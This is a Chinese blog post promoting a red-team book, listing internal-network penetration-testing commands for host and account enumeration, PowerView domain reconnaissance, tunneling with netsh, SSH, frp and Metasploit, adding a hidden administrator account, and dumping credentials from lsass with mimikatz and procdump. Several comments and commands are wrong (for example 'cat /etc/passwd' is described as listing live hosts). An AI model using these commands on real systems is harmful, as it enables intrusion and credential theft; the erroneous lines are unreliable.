美文网首页
红队之路——常用渗透测试命令行

红队之路——常用渗透测试命令行

作者: 爱看时事的通信崔 | 来源:发表于2024-05-01 09:44 被阅读0次

由我参与编写的MS08067安全实验室的新书《内网安全攻防-红队之路》正式出版,本书从内网渗透测试红队的角度,由深入浅、全面、系统地介绍了常见内网攻击手段和相应的防御方法,力求内容全面详实、语言通俗易懂、示例简单明了。

本文收录了书中部分命令行,其目的是帮助读者快速回顾相关内容。

1 内网信息收集

1.1 主机枚举

简要说明:

1. nmap: 开源的网络扫描工具
2. ping: 基于命令行的ICMP工具
3. net: 基于命令行的网络服务工具

命令行示例:

1. nmap Nmap -sP 192.168.204.0/24   #探测网段192.168.204.1的所有存活主机
2. ping 192.168.204.1 80    #测试192.168.204.1是否存活
3. net view #显示所在网段的存活主机

1.2 端口枚举

简要说明:

1. nmap: 开源的网络扫描工具
2. telnet: 基于命令行的远程登录工具
3. netstat: 显示网络连接状态

命令行示例:

1. nmap -sS -sV 192.168.204.139 #扫描192.168.204.1是否开放139端口
2. telnet 192.168.204.1 80  #尝试连接192.168.204.1的80端口
3. netstat -an | find "80"  #显示所在主机是否开放80端口

2 账户发现

2.1本地账户发现

简要说明:

1. net: 基于命令行的网络服务工具
2. whoami: 基于命令行的查看当前有效用户的工具 
1. cat: Linux系统下文件查看命令

命令行示例:

1. net user #查看当前终端的本地账户
net user administrator  #查看administrator用户详细信息
net localgroup  #枚举本地用户组
2. whoami   #查看当前有效用户
3. cat /etc/passwd  #显示所在网段的存活主机

2.2域账户发现

简要说明:

1. net: 基于命令行的网络服务工具
2. ldapsearch: 基于linux的开源域信息搜索工具 

命令行示例:

1. net user /domain #枚举域账户
net group /domain   #枚举域用户组
2. ldapsearch -D "administrator@test.local" -w "test123.." -p 389 -h 192.168.204.139 -b "dc=test,dc=local" "(&(objectClass=user)(objectCategory=person))" |grep cn  #基于Linux系统的域账户枚举命令,其中:-D和-w的参数分别是用户名和密码,-h的参数指定要连接到的服务器的主机名,-b参数指定用作搜索起始点的专有名称

2.3邮件帐户发现

简要说明:

MailSniper: 开源Microsoft Exchange相关信息搜索工具

命令行示例:

第一步,下载https://github.com/dafthack/MailSniper
第二步,输入如下命令导入MailSniper:
powershell.exe -exec bypass Import-Module .\MailSniper.ps1  
第三步,输入如下命令获取电子邮件账户名:
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Summer2017 -OutFile global-address-list.txt

3 域信息收集

简要说明:

1. PowerView: 是PowerSploit脚本工具集中的渗透测试和信息收集工具
2. net: 基于命令行的网络服务工具

PowerView命令行示例:

1. 第一步,下载https://github.com/PowerShellMafia/PowerSploit
第二步,打开PowerView控制台,输入如下命令导入PowerView:
Import-Module .\PowerView.ps1   
第三步,输入如下命令收集域信息:
Get-NetDomain   #获取当前用户所在域的名称
Get-NetUser #获取所有用户的详细信息
Get-NetDomainController #获取所有域控制器的信息
Get-NetComputer #获取域内所有机器的详细信息
Get-NetOU   #获取域中的OU信息
Get-NetGroup    #获取所有域内组和组成员的信息
Get-NetFileServer   #根据SPN获取当前域使用的文件服务器信息
Get-NetShare    #获取当前域内所有的网络共享信息
Get-NetSession  #获取指定服务器的会话
Get-NetRDPSession   #获取指定服务器的远程连接
Get-NetProcess  #获取远程主机的进程
Get-UserEvent   #获取指定用户的日志
Get-ADObject    #获取活动目录的对象
Get-NetGPO  #获取域内所有的组策略对象
Get-DomainPolicy    #获取域默认策略或域控制器策略
Invoke-UserHunter   #获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter    #通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter  #根据用户日志查询某域用户登录过哪些域机器

  1. net命令行示例:
net user /domain    #查看域用户列表
net group “domain computers” /domain    #查看当前域的计算机列表 
net view /domain    #查看当前所有域的名称
net view \\dc #查看dc域的共享目录和文件
net group /domain   #查看域组
net group “domain admins” /domain   #查看域管理员名称列表
net group “domain controllers” /domain  #查看域控制器名称列表
net time /domain    #查看域当前时间

4 通信隧道

简要说明:

1. Netsh: 基于命令行的网络配置工具
2. SSH: 安全外壳协议
3. frp: 开源反向代理应用
4. Metasploit: 开源渗透测试平台

netsh命令行示例:

netsh interface portproxy add v4tov4 listenport=8000 connectport=443 connectaddress= 192.168.198.5  #通过Netsh在服务器上添加添加端口转发,命令使用说明如下:netsh interface portproxy add v4tov4 listenport=<本地端口> connectaddress=<远程主机> connectport=<远程端口>

ssh命令行示例

ssh -CfNg -L 1153:1.1.1.10:3389 root@192.168.1.11   #使用SSH建立通信隧道实现端口转发,命令使用说明如下:ssh -CfNg -L <本地端口>:<远程主机>:<远程端口> <SSH服务器主机名或IP地址>

frp使用示例

第一步,通过https://github.com/fatedier/frp/releases下载frp,将frp服务端拷贝至具有公网IP地址的终端,将frp客户端拷贝至内网

第二步,修改frp服务端的配置文件frp.ini
[common]
# 服务端的绑定端口
bind_port = 7000
# HTTP端口
vhost_http_port = 12345 
# HTTPS端口
vhost_https_port = 23456
# 通信密钥 
token = 000000

第三步,修改frp客户端的配置文件frp.ini
[common]
# 公网IP
server_addr = 150.151.152.153
# 服务器绑定端口
server_port = 7000
# 与服务端秘钥一致
token = 000000 
[http]
type = http
local_ip = 127.0.0.1
local_port = 80
remote_port = 12345
custom_domains = 150.151.152.153
[https]
type = https
local_ip = 127.0.0.1
local_port = 443
remote_port = 23456
custom_domains = 150.151.152.153

第四步,通过cmd运行frp服务端,命令如下:frps.exe -c frps.ini

第五步,通过cmd运行frp客户端,命令如下:frp.exe

Metasploit使用示例

第一步,通过https://www.metasploit.com/下载Metasploit

第二步,以管理员权限运行Metasploit

第三步,通过如下命令建立通信隧道:
use auxiliary/server/forwarder 
set LHOST local_host 
set LPORT local_port 
set RHOST remote_host 
set RPORT remote_port 
exploit

5 权限提升

简要说明:

1. whoami: 基于命令行的查看当前用户的工具 
2. ipconfig: 基于命令行的查看服务器IP信息的工具 
3. quser: 基于命令行的查看登录用户信息的工具
4. systeminfo: 基于命令行的查看服务器信息的工具
5. tasklist: 基于命令行的查看运行进程的工具
6. net: 基于命令行的网络服务工具

命令行示例:

1. whoami   #查看用户权限,如果不是administrator或system时需要提权 
2. ipconfig #重点关注IP地址信息,确定服务器在内网还是外网 
3. quser administrator  #查看管理嘤administrator是否在线
4. systeminfo   #重点关注补丁情况,可进一步找未修复的补丁进行提权
5. tasklist /v | find “mysqld”  #查看运行进程,是否有可提权利用的进程,比如mysql
6. net user # 查看用户信息,找到敏感用户
7. net user myadmin myadmin /add    #有权限的前提下,添加myadmin用户
8. net localgroup administrators myadmin /add   #将myadmin用户加到管理员组

6 横向移动

6.1获取密码

简要说明:

1. mimikatz: 开源密码搜集工具,下载地址https://mimikatz.en.softonic.com/
2. procdump: 微软systeminternals工具集的密码转储工具,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
3. nishang: 开源渗透测试工具,下载地址https://github.com/samratashok/nishang
4. reg: 基于命令行的注册表工具
5. Hashcat: 基于Kali Linux系统的密码破解工具

命令行示例:

1. privilege::debug         # 提升至debug权限
sekurlsa::logonpasswords    # 转储hash密码
2. procdump64.exe -accepteula -ma lsass.exe lsass.dmp   #转储hash密码,具体参数如下:参数-accepteula使用命令行选项自动接受Sysinternals许可协议;参数-ma转储文件;lsass.dmp为生成的转储文件的名称
红队之路

相关文章

网友评论

      本文标题:红队之路——常用渗透测试命令行

      本文链接:https://www.haomeiwen.com/subject/dquffjtx.html